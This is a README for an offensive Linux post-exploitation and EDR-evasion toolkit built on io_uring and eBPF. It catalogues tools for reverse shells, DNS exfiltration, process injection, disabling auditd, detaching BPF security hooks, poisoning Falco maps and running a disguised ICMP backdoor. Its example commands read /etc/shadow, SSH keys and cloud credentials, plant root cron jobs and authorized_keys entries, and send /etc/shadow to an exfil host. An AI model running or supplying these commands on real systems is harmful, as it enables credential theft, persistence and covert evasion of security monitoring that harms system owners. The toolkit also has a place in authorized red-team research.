
Post-exploitation and evasion research toolkit for Linux.
Post-exploitation and evasion research toolkit for Linux, built around io_uring and eBPF. No liburing, no frameworks, raw syscalls throughout.
More tools soon. PRs are welcome. 🇧🇷
Join in Rootkit Researchers
For authorized research and red team engagements only. Don't run this on systems you don't own.
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
Toolchain
| tool | needed for |
|---|---|
gcc | all userspace binaries |
clang | ebpf/*.bpf.c BPF-side programs |
make | build system |
Headers and libraries
| package | needed for |
|---|---|
linux-headers-$(uname -r) | <linux/bpf.h>, <linux/io_uring.h> and related kernel headers |
libbpf-dev | <bpf/bpf_helpers.h> and friends used in ebpf/ programs |
bpftool | generate vmlinux.h via make vmlinux inside ebpf/ |
On Debian/Kali/Ubuntu:
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Kernel versions
| minimum | what it unlocks |
|---|---|
| 5.4 | io_uring base (IORING_FEAT_SINGLE_MMAP, BPF map iteration) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON split (replaces CAP_SYS_ADMIN for BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Capabilities
| capability | tools that require it |
|---|---|
CAP_BPF (or CAP_SYS_ADMIN pre-5.8) | all bpf/ tools, ebpf/ loaders |
CAP_PERFMON | ebpf/ tracepoint and kprobe programs |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
BTF must be enabled in the kernel (CONFIG_DEBUG_INFO_BTF=y) to run make vmlinux for ebpf/ programs.
On distros with older libc-dev headers (Ubuntu 22.04 etc.) you may need #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Already handled in this repo.
| command | builds |
|---|---|
make all | everything |
make uring | io_uring/ only |
make bpf | bpf/ userspace tools |
make ebpf | BPF-side programs (needs clang + libbpf) |
make edrs | all edrs/ binaries |
make techniques | Falco bypass tools |
make clean | remove all binaries |
edrs/ has its own sub-Makefile with ~75 binaries split by privilege:
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
See PRIVILEGES.md for the full breakdown.
io_uring SQEs go through the kernel workqueue. io_uring_enter(2) never calls through sys_call_table, never fires sys_enter_* tracepoints, and never hits livepatch on native_sys_call. That alone kills a large class of EDR hooks without touching anything.
What io_uring bypasses on its own:
| hook point | note |
|---|---|
sys_call_table pointer replacement | io_uring never goes through the syscall table |
livepatch on native_sys_call / compat_sys_call | same reason |
sys_enter_* tracepoints | workqueue path, no tracepoint fires |
What io_uring does NOT bypass on its own (needs an active tool):
| hook point | tool | what the tool does |
|---|---|---|
kprobes on vfs_read, security_file_open, etc. | ftrace_enum | removes the kprobe hooks |
| BPF LSM / KRSI | bpf_link_detach | detaches the BPF link |
| Linux audit | audit_kill | disables auditd via NETLINK_AUDIT |
| LD_PRELOAD / PLT-GOT patches | plt_unhook | removes the userland hooks |
| netfilter OUTPUT / conntrack | af_packet_shell | uses AF_PACKET at layer 2, skips netfilter |
inet_stream_connect hooks | udp_shell | uses UDP, never calls tcp connect path |
iouring_utils.h handles ring setup without liburing.
| binary | what it does |
|---|---|
file_read | OPENAT+READ+CLOSE chain via io_uring, no sys_enter_read event |
file_write | OPENAT+WRITE+CLOSE chain |
file_append | same as file_write but O_APPEND, offset -1 |
net_connect | SOCKET+CONNECT+SEND+RECV in one ring |
net_reverse_shell | reverse shell over io_uring CONNECT |
multifile_read | up to 64 files in one SQE batch |
memfd_exec | stream ELF via stdin into memfd, execve via /proc/self/fd |
proc_inject | JIT injection via /proc/PID/mem; ptrace injection (--ptrace flag) |
pipe_splice | SPLICE kernel-to-kernel, userspace hooks never see bytes |
inotify_bypass_watch | io_uring READ does not raise IN_ACCESS/IN_OPEN |
dns_exfil | hex-encode data as DNS query labels over io_uring SENDMSG |
af_packet_send | raw Ethernet via AF_PACKET (IORING_OP_SOCKET, bypasses inet path) |
xdp_socket_send | raw frame via AF_XDP + UMEM ring, bypasses netfilter entirely |
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
Most tools require CAP_BPF. env_exfil works unprivileged. icmp_trigger requires CAP_NET_RAW instead of CAP_BPF.
| binary | what it does |
|---|---|
map_recon | list all loaded BPF maps |
map_dumper | dump map contents by ID |
map_write | update map entries by ID |
map_poison | zero Falco's interesting_sys entries around a payload |
prog_recon | list BPF programs: type, name, map count |
pid_allowlist | insert PID into an EDR allowlist map |
edr_fin | score loaded BPF maps/programs against known EDR heuristics |
lsm_check | detect active BPF LSM hooks and test if map writes are blocked |
bpf_persist | pin/retrieve/unpin maps and programs on bpffs |
map_snapshot | save and restore map contents to a binary file |
env_exfil | read /proc/*/environ for secrets |
bpf_link_detach | enumerate and detach BPF links (removes LSM hooks) |
link_update | redirect a BPF link to a no-op program (hook stays visible, fires nothing) |
map_freeze | freeze a BPF map read-only via BPF_MAP_FREEZE (writes return -EPERM) |
icmp_trigger | ICMP magic-packet backdoor; spawns reverse shell via socketpair relay; masquerades as kworker/u4:2 |